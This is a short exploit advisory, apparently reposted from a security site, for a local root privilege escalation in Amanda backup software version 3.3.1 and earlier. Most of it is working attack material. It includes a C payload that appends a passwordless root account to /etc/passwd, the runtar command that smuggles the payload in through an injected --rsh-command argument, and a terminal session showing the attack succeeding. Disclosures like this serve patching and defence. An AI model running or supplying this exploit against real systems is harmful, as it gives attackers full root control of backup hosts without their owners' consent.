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Amanda <= 3.3.1 - Local Root Exploit
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来源：vfocus.net 作者：Fantastic 发布时间：2016-01-12
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/*
AMANDA, the Advanced Maryland Automatic Network Disk Archiver, is a backup
solution that allows the IT administrator to set up a single master backup
server to back up multiple hosts over network to tape drives/changers or
disks or optical media. Amanda uses native utilities and formats (e.g. dump
and/or GNU tar) and can back up a large number of servers and workstations
running multiple versions of Linux or Unix.
A user with backup privs can trivially compromise a client installation.
The "runtar" setuid root binary does not check for additional arguments
supplied after --create, allowing users to manipulate commands and perform
command injection as root. Tested against Amanda 3.3.1.
An example is shown below:
$ uname -a
Linux raspberrypi 3.10.25 #1 Sat Dec 28 20:50:23 EST 2013 armv6l GNU/Linux
$ ls -al /usr/lib/amanda/runtar
-rwsr-xr-- 1 root backup 9776 Jul 29 2012 /usr/lib/amanda/runtar
$ id
uid=34(backup) gid=34(backup) groups=34(backup),6(disk),26(tape)
$ cat /tmp/x.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(){
setreuid(0,0);
setregid(0,0);
system("echo r00t::0:0::/:/bin/sh >> /etc/passwd");
exit(0);
}
/*
$ su - r00t
No passwd entry for user 'r00t'
$ gcc x.c -o x
$ /usr/lib/amanda/runtar NOCONFIG tar --create --rsh-command=/tmp/x -vf localhost:/tmp/lol /etc/passwd
tar: localhost\:/tmp/lol: Cannot open: Input/output error
tar: Error is not recoverable: exiting now
$ su - r00t
# id
uid=0(root) gid=0(root) groups=0(root)
-- Hacker Fantastic
*/
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